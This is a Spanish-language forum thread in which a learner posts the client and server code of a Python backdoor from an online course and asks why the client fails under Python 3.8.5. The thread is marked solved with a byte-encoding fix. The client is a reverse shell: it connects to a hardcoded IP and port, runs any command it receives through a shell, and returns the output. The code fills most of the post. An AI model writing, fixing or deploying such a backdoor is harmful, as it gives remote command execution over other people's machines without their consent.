Underc0de

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: z0mb1es en Septiembre 10, 2020, 08:26:06 PM

Título: [SOLUCIONADO] Problemas con import socket en Python 3.8.5
Publicado por: z0mb1es en Septiembre 10, 2020, 08:26:06 PM
Hola camaradas, les vengo con un hilo pidiendo un poco de ayuda.

Ayer comencé con un curso de creación de backdoors desde cero usando Python y SOCKET como servidor y cliente. El servidor funciona de maravilla, pero tengo algunos problemas con el cliente.

Código (python) [Seleccionar]
#!/usr/bin/python3
# _*_ coding: utf8 _*_

import socket
import subprocess
import os

def shell():
    current_dir = os.getcwd()
    client.send(current_dir)
    while True:
        res = client.recv(1024)
        if res == "exit":
            break
        else:
            proc = subprocess.Popen(res, shell = True, stdout = subprocess.PIPE,
                    stderr = subprocess.PIPE, stdin = subprocess.PIPE)
            result = proc.stdout.read() + proc.stderr.read()
            client.send(result)

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("192.168.1.93", 7777))
shell()
client.close()


Verán que estoy usando el socket AF_INET para establecer la conexión entre client-server. El código así, en teoría y respecto al curso que estoy viendo y leyendo, debería funcionar. Pero no. El error es al intentar establecer la conexión desde el cliente, el cuál da un error en la línea 23 (donde se ejecuta la función que crea la shell dentro del servidor) y dentro de la misma función en la línea 10 donde el objeto client() usa .send(current_dir) para enviar al servidor la conexión. Cuando cambio client.send(current_dir) a un print(current_dir) me muestra mi pwd (obviamente, ya que os.cwd es un 'p'rint'w'orking'd'irectory). Sin más dilaciones les muestro el error que me da Python:

Código (python) [Seleccionar]
Traceback (most recent call last):
  File "client.py", line 25, in <module>
    shell()
  File "client.py", line 12, in shell
    client.send(current_dir)
TypeError: a bytes-like object is required, not 'str'


Y por si las dudas, también el código del servidor:

Código (python) [Seleccionar]
#!/usr/bin/python3
#_*_ coding: utf8 _*_

import socket

def shell():
    current_dir = target.recv(1024)
    while True:
        command = input("{}/".format(current_dir))
        if command == "exit":
            target.send(command)
            break;
        else:
            target.send(command)
            res = target.recv(1024)
            print(res)

def aliveServer():
    global server
    global ip
    global target

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('192.168.1.93', 7777))
    server.listen(1)
    print("Listening in 192.168.1.106")
    target, ip = server.accept()
    print("Connection received in " + str(ip[0]))

aliveServer()
server.close()


También, estoy usando Arch Linux. Intenté hacer que el server-client funcionara entre una máquina Windows que tengo por aquí y mi Arch: no funcionó. Intenté hacerlo funcionar solamente dentro de mi máquina Windows: no funcionó. Pensé que quizás AF_INET no era el tipo de socket necesario para trabajar con máquinas *nix, por lo que intenté usar el socket AF_UNIX: resulta que este socket no crea conexiones entre máquinas, sino que entre aplicaciones dentro de máquinas o algo así, no entendí muy bien, pero el que necesito es AF_INET.

Por cierto:

Otra cosilla que puede ser un problema: el curso que estoy viendo y leyendo está escrito en Python 2.7, por lo cual he ido adaptándo el código a 3.8.5. Si el error es mío, por favor, díganme cual es para así solucionarlo.

Saludos.

[SOLUCIONADO]

tr0n por Discord me dijo que usara encode('utf8') dentro del command, y pues sirvió de maravilla.